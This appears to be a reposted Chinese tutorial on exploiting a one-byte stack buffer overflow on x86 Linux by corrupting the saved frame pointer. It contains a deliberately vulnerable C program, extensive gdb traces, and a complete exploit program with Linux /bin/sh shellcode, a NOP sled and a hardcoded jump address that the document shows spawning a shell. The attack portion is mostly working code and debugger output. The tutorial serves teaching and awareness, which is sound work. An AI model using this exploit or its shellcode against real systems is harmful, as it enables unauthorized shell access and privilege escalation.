zoukankan      html  css  js  c++  java
  • 单字节缓冲区溢出

    溢出专题(一) 单字节缓冲区溢出

    http://tech.ccidnet.com/art/1101/20050407/626435_1.html

    通常的缓冲区溢出就是通过重写堆栈中储存的EIP的内容,来使程序跳转到我们的shellcode
    处去执行。其实,即使缓冲区只溢出一个字节的时候,也有可能去执行我们的代码。这听起来
    有些不可思议,其实还是很有可能的,下面我们就来看看这是如何实现的。

    我们先写一个有弱点的程序,它只能被溢出一个字节。


    ipdev:~/tests$ cat > suid.c
    #include

    func(char *sm)
    {
             char buffer[256];
              int i;
              for(i=0;i<=256;i++)  //最多可以拷贝257个字节到一个256字节的缓冲区中
                      buffer[i]=sm[i];
    }

    main(int argc, char *argv[])
    {
              if (argc < 2) {
                      printf("missing args ");
                      exit(-1);
              }
               func(argv[1]);
    }
    ^D
    ipdev:~/tests$ gcc suid.c -o suid
    ipdev:~/tests$

    我们可以看到,我们只能拷贝257个字节到一个256字节的缓冲区中,也就是说,我们
    只能覆盖堆栈中的一个字节。如何利用这一个被覆盖的字节来达到我们的目的呢?还是
    先看一下这一个字节到底是什么。利用gdb可以反汇编我们的suid程序:


       ipdev:~/tests$ gdb ./suid
       ...
       (gdb) disassemble func
       Dump of assembler code for function func:
       0x8048134 :       pushl  %ebp
       0x8048135 :     movl   %esp,%ebp
       0x8048137 :     subl   $0x104,%esp
       0x804813d :     nop
       0x804813e :    movl   $0x0,0xfffffefc(%ebp)
       0x8048148 :    cmpl   $0x100,0xfffffefc(%ebp)
       0x8048152 :    jle    0x8048158
       0x8048154 :    jmp    0x804817c
       0x8048156 :    leal   (%esi),%esi
       0x8048158 :    leal   0xffffff00(%ebp),%edx
       0x804815e :    movl   %edx,%eax
       0x8048160 :    addl   0xfffffefc(%ebp),%eax
       0x8048166 :    movl   0x8(%ebp),%edx
       0x8048169 :    addl   0xfffffefc(%ebp),%edx
       0x804816f :    movb   (%edx),%cl
       0x8048171 :    movb   %cl,(%eax)
       0x8048173 :    incl   0xfffffefc(%ebp)
       0x8048179 :    jmp    0x8048148
       0x804817b :    nop
       0x804817c :    movl   %ebp,%esp
       0x804817e :    popl   %ebp
       0x804817f :    ret
       End of assembler dump.
       (gdb)
    当call指令被调用时,进程会首先将%eip(下一条要执行的指令的地址)压入堆栈。
    然后将%ebp的内容压入堆栈,就象在*0x8048134处所看到的。接着进程将当前堆栈
    的地址拷贝到%ebp中,接着为局部变量分配空间:%esp减小0x104字节(256+4)。
    buffer[]占用了256字节(0x100),整形变量i占4个字节。在溢出发生以前,我们的
    堆栈中的情况如下:

             栈顶(低地址)
             
           |---------|  
       |    i    |        4字节
       |---------|
       | buff[0] |  
       |---------|   |
       | buff[1] |   |
       |---------|   |--> 256字节
           | ....... |   |
       |---------|   |
           |buff[255]|  /  
       |---------|/    
       |保存的ebp|        4字节  
       |---------|
       |保存的eip|        4字节
       |---------|
       
        栈底(高地址)
       
    这意味着这个被覆盖的字节将会覆盖掉保存的栈帧指针(func()开始执行前被压入堆栈),
    如何利用这个字节来改变程序的执行呢?我们先来看看%ebp中内容的变化情况。当func()
    将要结束时,%ebp被从堆栈中恢复。(见)让我们再看看接下来发生了什么:
    (还是利用gdb来反汇编main())

       (gdb) disassemble main
       Dump of assembler code for function main:
       0x8048180 : pushl  %ebp
       0x8048181 :     movl   %esp,%ebp
       0x8048183 :     cmpl   $0x1,0x8(%ebp)
       0x8048187 :     jg     0x80481a0
       0x8048189 :     pushl  $0x8058ad8
       0x804818e :    call   0x80481b8
       0x8048193 :    addl   $0x4,%esp
       0x8048196 :    pushl  $0xffffffff
       0x8048198 :    call   0x804d598
       0x804819d :    addl   $0x4,%esp
       0x80481a0 :    movl   0xc(%ebp),%eax
       0x80481a3 :    addl   $0x4,%eax
       0x80481a6 :    movl   (%eax),%edx
       0x80481a8 :    pushl  %edx
       0x80481a9 :    call   0x8048134
       0x80481ae :    addl   $0x4,%esp
       0x80481b1 :    movl   %ebp,%esp
       0x80481b3 :    popl   %ebp
       0x80481b4 :    ret
       0x80481b5 :    nop
       0x80481b6 :    nop
       0x80481b7 :    nop
       End of assembler dump.
       (gdb)


    当func()调用结束后,%ebp将会被拷贝到%esp中(见),这意味着我们可以
    改变%esp到其他的值,但并不是任意的,因为我们只能修改%ebp的最后一个字节。

       (gdb) disassemble main
       Dump of assembler code for function main:
       0x8048180 : pushl  %ebp
       0x8048181 :     movl   %esp,%ebp
       0x8048183 :     cmpl   $0x1,0x8(%ebp)
       0x8048187 :     jg     0x80481a0
       0x8048189 :     pushl  $0x8058ad8
       0x804818e :    call   0x80481b8
       0x8048193 :    addl   $0x4,%esp
       0x8048196 :    pushl  $0xffffffff
       0x8048198 :    call   0x804d598
       0x804819d :    addl   $0x4,%esp
       0x80481a0 :    movl   0xc(%ebp),%eax
       0x80481a3 :    addl   $0x4,%eax
       0x80481a6 :    movl   (%eax),%edx
       0x80481a8 :    pushl  %edx
       0x80481a9 :    call   0x8048134
       0x80481ae :    addl   $0x4,%esp
       0x80481b1 :    movl   %ebp,%esp
       0x80481b3 :    popl   %ebp
       0x80481b4 :    ret
       0x80481b5 :    nop
       0x80481b6 :    nop
       0x80481b7 :    nop
       End of assembler dump.
       (gdb) break *0x80481b4
       Breakpoint 2 at 0x80481b4
       (gdb) run `perl -e 'print "A"x257'`
       Starting program: /home/klog/tests/suid `overflow 257`

       Breakpoint 2, 0x80481b4 in main ()
       (gdb) info register esp
       esp            0xbffffd45       0xbffffd45
       (gdb)

    在溢出发生后,%ebp的最后一个字节被修改为0x41('A'),然后%ebp的值(0xbffffd41)
    被拷贝到%esp中作为新的堆栈指针(见),
    main()会再从堆栈中弹出保存的ebp到%ebp中,这时%esp的值会再增加4个字节(栈顶
    向高地址方向缩短4个字节)。这时我们看到的%esp的值就是:
    0xbffffd45=0xbffffd41+0x41

    很明显,我们不能在func()中直接改变原来被保存的%eip的值,但可以修改main()中的
    %esp的值.当进程从一个过程返回的时候,只是弹出堆栈栈顶的第一个字(4字节),将
    它作为保存的%eip,然后跳到它去继续执行。但既然我们能修改%esp,我们就可以让进程
    弹出一个我们设定的值,然后进程就会跳到那里去执行我们的程序代码。
    我们可以构造一个buffer用来完成我们的工作:

       [nops][shellcode][&shellcode][改变%ebp的字节]

    这样当溢出发生时堆栈中的情况就是这样的:

             栈顶(低地址)
             
           |---------|  
       |    i    |        4字节
       |---------|
       | 0x90    |  
       |---------|   |
       | 0x90    |   |
       |---------|   |--> 256字节
           | ....... |   |
       |---------|   |
           |shellcode|   |
           | ....... |   |
       |---------|   |
       |跳转地址 |  /  
       |---------|/    
       |保存的ebp|        4字节(最低的一个字节被覆盖)
       |---------|
       |保存的eip|        4字节
       |---------|
       
        栈底(高地址)

    我们想让%esp指向跳转地址,以便当从main()中返回时这个跳转地址会被弹入到%eip
    中,从而去执行我们的shellcode代码。
    现在我们需要得到的是被覆盖的buffer的地址和跳转地址的值。我们不得不先写一个
    程序来构造一下真实攻击时的场景。

       ipdev:~/tests$ cat > fake_exp.c
       #include
       #include

       main()
       {
               int i;
               char buffer[1024];
       
               bzero(&buffer, 1024);
               for (i=0;i<=256;i++)    
               {
                       buffer[i] = 'A';
               }
               execl("./suid", "suid", buffer, NULL);
       }
       ^D
       ipdev:~/tests$ gcc fake_exp.c -o fake_exp
       ipdev:~/tests$ gdb --exec=fake_exp --symbols=suid
       ...
       (gdb) run
       Starting program: /home/klog/tests/exp2

       Program received signal SIGTRAP, Trace/breakpoint trap.
       0x8048090 in ___crt_dummy__ ()
       (gdb) disassemble func
       Dump of assembler code for function func:
       0x8048134 :       pushl  %ebp
       0x8048135 :     movl   %esp,%ebp
       0x8048137 :     subl   $0x104,%esp
       0x804813d :     nop
       0x804813e :    movl   $0x0,0xfffffefc(%ebp)
       0x8048148 :    cmpl   $0x100,0xfffffefc(%ebp)
       0x8048152 :    jle    0x8048158
       0x8048154 :    jmp    0x804817c
       0x8048156 :    leal   (%esi),%esi
       0x8048158 :    leal   0xffffff00(%ebp),%edx
       0x804815e :    movl   %edx,%eax
       0x8048160 :    addl   0xfffffefc(%ebp),%eax
       0x8048166 :    movl   0x8(%ebp),%edx
       0x8048169 :    addl   0xfffffefc(%ebp),%edx
       0x804816f :    movb   (%edx),%cl
       0x8048171 :    movb   %cl,(%eax)
       0x8048173 :    incl   0xfffffefc(%ebp)
       0x8048179 :    jmp    0x8048148
       0x804817b :    nop
       0x804817c :    movl   %ebp,%esp
       0x804817e :    popl   %ebp
       0x804817f :    ret
       End of assembler dump.
       (gdb) break *0x804813d
       Breakpoint 1 at 0x804813d
       (gdb) c
       Continuing.

       Breakpoint 1, 0x804813d in func ()
       (gdb) info register esp
       esp            0xbffffc60       0xbffffc60
       (gdb)

    从上面的分析,我们可以知道我们要覆盖的buffer是从0xbffffc60+0x04=0xbffffc64
    开始的,指向我们的shellcode的跳转地址应该被放置到0xbffffc64+0x100(buffer大
    小)-0x04(跳转地址大小)=0xbffffd60处。

    有了这些值我们就可以写个真正的攻击程序了。我们用0x60-0x04=0x5c来覆盖%ebp的
    最后一个字节。这里要减去4个字节是因为当从main()中返回时,%esp会增加4个字节(
    因为弹出了保存的%ebp)。
    跳转地址的值并不需要是shellcode的起始地址,只要是NOP指令之间的某个地址即可。
    (就象通常的溢出程序一样)即:0xbffffc64---(0xbffffd64-shellcode大小)。
    我们这里选用0xbffffc74.

       ipdev:~/tests$ cat > exp.c
       #include
       #include

       char sc_linux[] =
               "xebx24x5ex8dx1ex89x5ex0bx33xd2x89x56x07"
               "x89x56x0fxb8x1bx56x34x12x35x10x56x34x12"
               "x8dx4ex0bx8bxd1xcdx80x33xc0x40xcdx80xe8"
               "xd7xffxffxff/bin/sh";

       main()
       {
               int i, j;
               char buffer[1024];

               bzero(&buffer, 1024);
               for (i=0;i<=(252-sizeof(sc_linux));i++)
               {
                       buffer[i] = 0x90;
               }
               for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
               {
                       buffer[i] = sc_linux[j];
               }
               buffer[i++] = 0x74; //
                  buffer[i++] = 0xfc; //  跳转地址
               buffer[i++] = 0xff; //
               buffer[i++] = 0xbf; //
               buffer[i++] = 0x5c; // 用来覆盖%ebp的字节

               execl("./suid", "suid", buffer, NULL);

       }
       ^D
       ipdev:~/tests$ gcc exp.c -o exp
       ipdev:~/tests$ ./exp
       bash$

    成功了!现在让我们仔细的看一下到底发生了些什么。


       ipdev:~/tests$ gdb --exec=exp --symbols=suid
       ...
       (gdb) run
       Starting program: /home/klog/tests/exp

       Program received signal SIGTRAP, Trace/breakpoint trap.
       0x8048090 in ___crt_dummy__ ()
       (gdb)

    我们先来设置几个断点来观察被覆盖的栈帧指针的值。

       (gdb) disassemble func
       Dump of assembler code for function func:
       0x8048134 :       pushl  %ebp
       0x8048135 :     movl   %esp,%ebp
       0x8048137 :     subl   $0x104,%esp
       0x804813d :     nop
       0x804813e :    movl   $0x0,0xfffffefc(%ebp)
       0x8048148 :    cmpl   $0x100,0xfffffefc(%ebp)
       0x8048152 :    jle    0x8048158
       0x8048154 :    jmp    0x804817c
       0x8048156 :    leal   (%esi),%esi    
       0x8048158 :    leal   0xffffff00(%ebp),%edx
       0x804815e :    movl   %edx,%eax
       0x8048160 :    addl   0xfffffefc(%ebp),%eax
       0x8048166 :    movl   0x8(%ebp),%edx
       0x8048169 :    addl   0xfffffefc(%ebp),%edx
       0x804816f :    movb   (%edx),%cl
       0x8048171 :    movb   %cl,(%eax)
       0x8048173 :    incl   0xfffffefc(%ebp)
       0x8048179 :    jmp    0x8048148
       0x804817b :    nop
       0x804817c :    movl   %ebp,%esp
       0x804817e :    popl   %ebp
       0x804817f :    ret
       End of assembler dump.
       (gdb) break *0x804817e
       Breakpoint 1 at 0x804817e
       (gdb) break *0x804817f
       Breakpoint 2 at 0x804817f
       (gdb)

    上面的断点用来监视在从堆栈滩出前和弹出后%ebp的变化。

       (gdb) disassemble main
       Dump of assembler code for function main:
       0x8048180 :  pushl  %ebp
       0x8048181 :     movl   %esp,%ebp
       0x8048183 :     cmpl   $0x1,0x8(%ebp)
       0x8048187 :     jg     0x80481a0
       0x8048189 :     pushl  $0x8058ad8
       0x804818e :    call   0x80481b8 <_IO_printf>
       0x8048193 :    addl   $0x4,%esp
       0x8048196 :    pushl  $0xffffffff
       0x8048198 :    call   0x804d598
       0x804819d :    addl   $0x4,%esp
       0x80481a0 :    movl   0xc(%ebp),%eax
       0x80481a3 :    addl   $0x4,%eax
       0x80481a6 :    movl   (%eax),%edx
       0x80481a8 :    pushl  %edx
       0x80481a9 :    call   0x8048134
       0x80481ae :    addl   $0x4,%esp
       0x80481b1 :    movl   %ebp,%esp
       0x80481b3 :    popl   %ebp
       0x80481b4 :    ret
       0x80481b5 :    nop
       0x80481b6 :    nop
       0x80481b7 :    nop
       End of assembler dump.
       (gdb) break *0x80481b3
       Breakpoint 3 at 0x80481b3
       (gdb) break *0x80481b4
       Breakpoint 4 at 0x80481b4
       (gdb)

    上面的断点用来监视%esp在(movl %ebp,%esp)时和从main()中返回时内容的变化。
    现在让我们来运行程序:

       (gdb) c
       Continuing.

       Breakpoint 1, 0x804817e in func ()
       (gdb) info reg ebp
       ebp            0xbffffd64       0xbffffd64

    这是%ebp的原来的内容
       
       (gdb) c
       Continuing.

       Breakpoint 2, 0x804817f in func ()
       (gdb) info reg ebp
       ebp            0xbffffd5c       0xbffffd5c

    溢出后,我们可以看到%ebp的最后一个字节的内容已经被改变(0x64--->0x5c)
       
       (gdb) c
       Continuing.

       Breakpoint 3, 0x80481b3 in main ()
       (gdb) info reg esp
       esp            0xbffffd5c       0xbffffd5c
       (gdb) c
       Continuing.

    此时%esp指向0xbffffd5c

       Breakpoint 4, 0x80481b4 in main ()
       (gdb) info reg esp
       esp            0xbffffd60       0xbffffd60

    弹出保存的%ebp后,%esp增加了4个字节,指向我们存放跳转地址的位置
       
       (gdb)

    看一下此时堆栈中的情况:

       (gdb) x 0xbffffd60
       0xbffffd60 <__collate_table+3086619092>:        0xbffffc74
       
    这里确实存放着我们的跳转地址    

       (gdb) x/10 0xbffffc74
       0xbffffc74 <__collate_table+3086618856>:        0x90909090      
       0x90909090    0x90909090       0x90909090
       0xbffffc84 <__collate_table+3086618872>:        0x90909090      
       0x90909090    0x90909090       0x90909090
       0xbffffc94 <__collate_table+3086618888>:        0x90909090      
       0x90909090
       (gdb)
       
    跳转地址指向NOP串的中间。这也就是我们的shellcode开始执行的地方。


       (gdb) c
       Continuing.

       Program received signal SIGTRAP, Trace/breakpoint trap.
       0x40000990 in ?? ()
       (gdb) c
       Continuing.
       bash$
       
    下面的简图大致描述了%ebp与%esp的变化。
         
         func()中,返回前         main()中              main()中              main()中

             栈顶(低地址)       addl $0x4,%esp        movl %ebp,%esp        popl %ebp
             
    0xbffffc60|----------|         |----------|          |----------|          |----------|
          |    i     |         |    i     |          |    i     |          |    i     |
    0xbffffc64|----------|         |----------|          |----------|          |----------|
          | 0x90     |         | 0x90     |          | 0x90     |          | 0x90     |
             |----------|         |----------|          |----------|          |----------|
          | 0x90     |         | 0x90     |          | 0x90     |          | 0x90     |
          |----------|         |----------|          |----------|          |----------|
     ----->  | .......  |         | .......  |          | .......  |          | .......  |
    |        |----------|         |----------|          |----------|          |----------|
    |        |shellcode |         |shellcode |          |shellcode |          |shellcode |
    |        | .......  |         | .......  |  %esp--->| .......  |0xbffffd5c|......... |
    0xbffffd60|----------|         |----------|          |----------|   %esp-->|----------|
    |-----   |0xbffffc74|         |0xbffffc74|          |0xbffffc74|          |0xbffffc74| -->%eip
    0xbffffd64|----------|         |----------|          |----------|          |----------|
    保存的ebp |0xbffffd5c|         |0xbffffd5c|          |0xbffffd5c|          |0xbffffd5c|
     %esp--->|----------|         |----------|          |----------|          |----------|
          |保存的eip |         |保存的eip |          |保存的eip |          |保存的eip |
          |----------|  %esp-->|----------|          |----------|          |----------|
                     
          %esp=0xbffffd68      %esp=0xbffffd6c        %esp=0xbffffd5c      %esp=0xbffffd60  
          %ebp=0xbffffd5c      %ebp=0xbffffd5c        %ebp=0xbffffd5c      %ebp=0xxxxxxxxx
                     
    结束语:            
                     
    这种方法看起来很不错,它也存在一些问题。只覆盖一个字节来进行攻击当然理论上
    是可行的,但也需要一些条件。首先,它需要知道buffer的地址,这要求我们要能构
    造相同的攻击环境以便得到这些值,这通常是比较困难的,特别是在远程机器上。由
    于只能溢出一个字节,我们的buffer必须紧挨着栈帧指针,也就是说,要溢出的buffer
    必须是函数中第一个被宣称的变量。对于大endian结构的系统,%ebp在内存中的顺序是
    高字节在前低字节在后,所以将会覆盖掉ebp的高字节,我们不得不保证我们的程序可以
    跳到那个地址去执行...
                     
    尽管如此,这种方法仍然可以给我们很多启发。也提醒程序员即便是一个字节的疏忽
    也可能导致严重的安全问题.:-)

  • 相关阅读:
    使用Python的Mock库进行PySpark单元测试
    库龄报表的相关知识
    使用PlanViz进行ABAP CDS性能分析
    Spark SQL中列转行(UNPIVOT)的两种方法
    Spark中的一些概念
    使用Visual Studio Code进行ABAP开发
    2019年的几个目标
    Dom--样式操作
    Dom选择器--内容文本操作
    Javascript面向
  • 原文地址:https://www.cnblogs.com/jingzhishen/p/3607410.html
Copyright © 2011-2022 走看看